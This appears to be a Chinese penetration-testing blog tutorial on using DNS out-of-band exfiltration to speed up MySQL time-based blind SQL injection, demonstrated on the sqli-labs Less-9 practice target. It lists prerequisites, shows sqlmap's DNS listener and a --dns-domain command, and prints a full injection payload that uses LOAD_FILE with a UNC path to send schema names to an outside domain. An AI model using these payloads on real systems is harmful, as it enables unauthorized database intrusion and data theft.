dnslog注入提升SQL时间盲注效率
日常渗透测试工作中,经常会遇到sql时间盲注的case。大家都知道时间盲注的效率非常慢,还要受到网络延迟的影响。dnslog注入虽然能极大提升时间盲注的效率,但是在实战中受环境影响还是有很多限制。
需要自行购买域名并配置域名服务器为自己的vps,或者使用第三方dnslog平台。
dnslog注入前提条件
- 只支持Windows系统、UNC路径
- secure_file_priv设置为空
其中第二点不是默认配置。
secure_file_priv含义
- 当secure_file_priv的值为null ,表示限制mysqld 不允许导入|导出
- 当secure_file_priv的值为/tmp/ ,表示限制mysqld 的导入|导出只能发生在/tmp/目录下
- 当secure_file_priv的值没有具体值时,表示不对mysqld 的导入|导出做限制
需要修改my.ini进行设置。
未开启的情况下load_file会返回null。
dnslog手工注入
dnslog注入需要第三方dnslog平台来接收dns外带的数据。但其实可以不用第三方的dnslog平台,sqlmap自带了dns接收的模块。
该模块位于sqlmap的目录下的:./lib/request/dns.py
运行会监听53端口获取dns请求信息。
[root@VM-4-7-centos ~]# cd sqlmap/ [root@VM-4-7-centos sqlmap]# ls data doc extra lib LICENSE plugins README.md sqlmapapi.py sqlmapapi.yaml sqlmap.conf sqlmap.py tamper thirdparty [root@VM-4-7-centos sqlmap]# python3 ./lib/request/dns.py
通过dnslog外带的方式得到了当前数据库名和数据库版本信息。
sqlmap使用–dns-domain参数进行注入
这里以sqli-lab的第9关为例,本题为时间盲注。但是时间盲注效率太低,换用dnslog注入速度就快很多了。
python3 sqlmap.py -u "http://YOUR-URL/sqli/Less-9/?id=1*" --batch --dns-domain=YOUR-DOMAIN -v3 --dbs
这里我是用的自己的域名,必须将域名服务器指向为该vps的ip。
如果目标不支持dnslog注入,sqlmap则会报错:
[ERROR] data retrieval through DNS channel failed. Turning off DNS exfiltration support
payload分析
1 AND ( SELECT 8357 FROM ( SELECT SLEEP(5 - IF(ORD(MID(( SELECT LOAD_FILE(CONCAT('\\\\jLp.', ( SELECT HEX(MID(DISTINCT(IFNULL(CAST(schema_name AS NCHAR), 0x20)), 1, 31)) FROM INFORMATION_SCHEMA.SCHEMATA LIMIT 4, 1 ),'.uYO.ack.red\\JCKK')) ), 9, 1)) > 327, 0, 5)) ) OSfI )-- EVDk
sqlmap的做法就是把通过多级域名的方式将查询的内容拼接在域名中。以上面的sql语句为例最终生成dns请求为:
\\jLp.查询结果.uYO.ack.red\JCKK
服务端收到请求后再把多次查询的结果从域名中取出来拼接,完成dnslog注入。
dnslog注入的优先级问题
[WARNING] option ‘–dns-domain’ will be ignored as faster techniques are usable (EU)
当一个注入中指定–dns-domain参数,但sqlmap发现了其他效率更高的方式sqlmap会忽略dns注入方式,采用其他高效的注入。
赞赏微信赞赏支付宝赞赏
发表评论